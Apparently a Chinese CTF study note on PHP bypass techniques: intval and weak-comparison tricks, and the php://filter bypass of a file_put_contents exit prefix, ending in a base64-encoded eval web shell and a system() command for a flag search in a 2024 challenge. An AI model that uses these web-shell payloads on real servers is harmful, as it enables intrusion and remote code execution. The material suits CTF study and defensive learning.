少女祈祷中...

常见绕过

1.科学计数法:

1
2
3
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3)

#使用`2e9`来绕过

2.弱对比绕过

1
2
3
4
5
$d = array_search("DGGJ", $c["n"]);
$d === false?die("no..."):NULL;
foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL;
}

c["n"]里面的进行与”DGGJ”进行查询弱比较,找到就会false

foreach:

查询是否有,没有就会false,看似矛盾,但都是(弱比较!!)

只要输入:

1
2
3
c={"m":"2025%","n":[[0],0]}

#0就能绕过

file_put_contents

方法:filter 存在写入和读取两种形式

形式:

1
file_put_contents($filename,$content);

$content 写入 $filename 这个文件里

出现死亡标签时候绕过:

1
file_put_contents($filename,"<?php exit();".$content);
使用过滤器绕过:
1
2
3
4
5
6
<?php
$filename = 'php://filter/write=convert.base64-decode/resource=1.php';
$content = "PD9waHAgZWNobyAxMTExOz8+";
file_put_contents($filename,'<?php exit();'.$content);

?>

filter 存在写入和读取两种形式

出现乱码:

image-20250616142056149

因为**<? (); 不会被识别base64 ,就无法给他解码,只能识别:php exit**

base64 解密又需要至少 8 个字符 ,就会识别失败

修改
1
$content = "aPD9waHAgZWNobyAxMTExOz8+";

image-20250616143128691

还是不太行?

1
2
3
4
5
6
<?php
$filename = 'php://filter/string.strip_tags|convert.base64-decode/resource=shell.php';
$content = "?>PD9waHAgcGhwaW5mbygpOz8+";
file_put_contents($filename,'<?php exit();'.$content);

?>

eg:[金盾杯2024]fillllll_put

1
?filename=php://filter/string.strip_tags|convert.base64-decode/resource=111.php&content=?>PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=

成功链接:

image-20250616145011466

发现找不到。。。

直接RCE:

1
system('find / -iname "*fl*"')

image-20250616145607570

成功得到:

image-20250616145626916

常见代码:

1.intval()

强制转化为整数

2.substr($sample,-6,6) or ($sample,6,6)

举例代码

1.是从倒数第六个开始的最后六个字母

2.是第六个开始数六个直到第12个

3.decode/encode类(解码与加密类)

1.JSON 解码:json_decode()

功能:把 JSON 字符串解码成 PHP 变量

1
2
3
4
5
6
7
8
9
10
<?php
$jsonString = '{"name": "John", "age": 30}';
$phpArray = json_decode($jsonString, true);
print_r($phpArray);
输出:
Array
(
[name] => John
[age] => 30
)

特殊:(数组包裹数组)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$jsonString = '{"1": "2025%00","n":[[1],2],"3":"2025%00"}';
$phpArray = json_decode($jsonString, true);
print_r($phpArray);
输出:
Array
(
[1] => 2025%00
[n] => Array
(
[0] => Array
(
[0] => 1
)

[1] => 2
)

[3] => 2025%00
)

2.URL 解码:urldecode()

功能:对经过 urlencode() 编码的字符串进行解码

1
2
3
4
5
6
<?php
$encodedUrl = "https%3A%2F%2Fwww.example.com%2Fsearch%3Fq%3Dphp%20functions";
$decodedUrl = urldecode($encodedUrl);
echo $decodedUrl;
输出:
https://www.example.com/search?q=php functions

3.HTML 实体解码:html_entity_decode()

用到的少

4.Base64 解码:base64_decode()

功能:对经过 Base64 编码的字符串进行解码。

1
2
3
4
5
6
<?php
$encodedString = "SGVsbG8gd29ybGQ=";
$decodedString = base64_decode($encodedString);
echo $decodedString;
输出:
Hello world

5.序列化数据解码:unserialize()

无需多言

4.array_search(array可以替换成为任意类型)

查找代码 (找到就会false)

1
$d = array_search("DGGJ", $c["n"]);

默认是弱比较

$d = array_search("DGGJ", $c["n"]); 这行代码的主要功能是在数组 $c["n"] 里查找值为 "DGGJ" 的元素,若找到,就返回该元素对应的键;若没找到,则返回 false,最后将结果赋值给变量 $d

5.foreach

历遍函数 (没有就会false)

6.ord

用于取出ASCII码的值

7.mb_substr/mb_strpos

1
2
3
4
5
6
7
8
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
  • mb_substr 函数用于截取字符串。
  • mb_strpos 函数用于查找字符串中某个字符首次出现的位置。
  • 这里先把 $page 加上 ? 再查找 ? 的位置,然后截取 $page 从开头到 ? 之前的部分赋值给 $_page
  • 接着检查 $_page 是否在白名单中,若存在就返回 true